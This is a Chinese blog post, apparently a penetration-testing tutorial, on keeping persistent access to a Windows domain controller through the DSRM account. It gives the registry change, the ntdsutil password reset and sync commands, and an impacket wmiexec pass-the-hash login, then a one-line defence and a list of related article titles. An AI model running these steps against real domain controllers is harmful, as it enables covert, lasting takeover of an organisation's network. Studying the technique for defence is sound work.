利用DSRM賬號進行許可權維持
1.前言
今天看了內網加固方面的知識,發現了一個加固方案是針對DSRM攻擊的,於是就查了一下什麼是DSRM攻擊,因此有了這篇文章。
2.原理
域控上有個賬戶,名字為目錄服務還原模式賬戶又名DSRM賬戶,它的密碼是安裝DC的時候設定的,一般不會修改。但是當DSRM賬戶被修改的時候,域控的本地管理員administrator
賬戶密碼的hash也會被修改,並且與DSRM賬戶的hash是一樣的。這時候即使再次修改了本地管理員administrator
賬戶的明文密碼,sam檔案的hash也不會更改,只會更改ntds.dit檔案中的hash。
綜上,意味著只要我們能夠更改DSRM的賬號密碼,我們就能夠通過DSRM的密碼的hash登陸域控主機,並且即使域控主機的本地管理員密碼改變了,管理員的hash也不會變,我們依舊可以利用pth攻擊來登陸。
3.實現
3.1 更改DSRM明文密碼
1.更改登錄檔:
reg add HKLM\System\CurrentControlSet\Control\Lsa /v DsrmAdminLogonBehavior /t REG_DWORD /d 2
2.更改dsrm密碼,以此輸入一下命令。
ntdsutil
set dsrm password
reset password on server null
111
111
q
q
3.在其他機器上利用impacket工具進行連線:
wmiexec.exe yukong/administrator:111@192.168.124.142 #yukong是hostname
wmiexec.exe -hashes :75f1d23f3a2527c6bfaada3e93b32a8b yukong/administrator@192.168.124.142
3.2 利用域內其他使用者的hash去同步DSRM的密碼
ntdsutil
set dsrm password
sync from domain account zhangsan #可以將zhangsan改為其他任意使用者的使用者名稱
q
q
上述命令會將域控的本地管理員賬戶的hash與明文同步為域內的zhangsan的明文hash。
4.防禦方法
刪除HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior鍵值。
參考文章
相關文章
- 許可權維持專題:域控制器許可權維持
- 許可權維持專題:作業系統許可權維持作業系統
- 騰訊雲(CVM)託管進行許可權維持
- Windows許可權維持Windows
- 賬號和許可權管理
- 修改組策略以安裝MSI程式進行許可權升級或許可權維持
- MySQL 日常運維業務賬號許可權的控制MySql運維
- 滲透測試-許可權維持
- 在Windows低許可權下利用服務進行提權Windows
- 巧用DSRM密碼同步將域控許可權持久化密碼持久化
- Linux賬號許可權分離的必要性Linux
- Linux賬號和許可權管理(理論配寫)Linux
- win10賬號沒有管理員許可權如何解決_win10賬號沒有管理員許可權解決步驟Win10
- 第二節:SQLServer圖形化介面配置賬號許可權SQLServer
- MySql給賬戶所有許可權MySql
- Linux賬戶與許可權管理Linux
- SpringBoot--- SpringSecurity進行登出,許可權控制Spring BootGse
- 白 - 許可權提升和漏洞利用技巧
- java BigInteger 對許可權進行2的權的和計算Java
- 許可權之選單許可權
- linux 檔案許可權 s 許可權和 t 許可權解析Linux
- 【許曉笛】深入理解 EOS 賬戶許可權對映
- js 許可權二進位制JS
- 如何用 Vue 實現前端許可權控制(路由許可權 + 檢視許可權 + 請求許可權)Vue前端路由
- Linux檔案許可權符號含義Linux符號
- 許可權系統:一文搞懂功能許可權、資料許可權
- 利用子域的System許可權通往父域
- 利用PATH環境變數 - 提升linux許可權~?變數Linux
- Android程式保活(二):利用 Notification 提升許可權Android
- 命令列快速提示:許可權進階命令列
- Linux ACL 許可權之進階篇Linux
- 如何在資料庫中進行RBAC許可權應用資料庫
- Linux特殊許可權之suid、sgid、sbit許可權LinuxUI
- spring boot 利用註解實現許可權驗證Spring Boot
- 《MySQL 入門教程》第 05 篇 賬戶和許可權MySql
- Linux許可權Linux
- 許可權控制
- mysql許可權MySql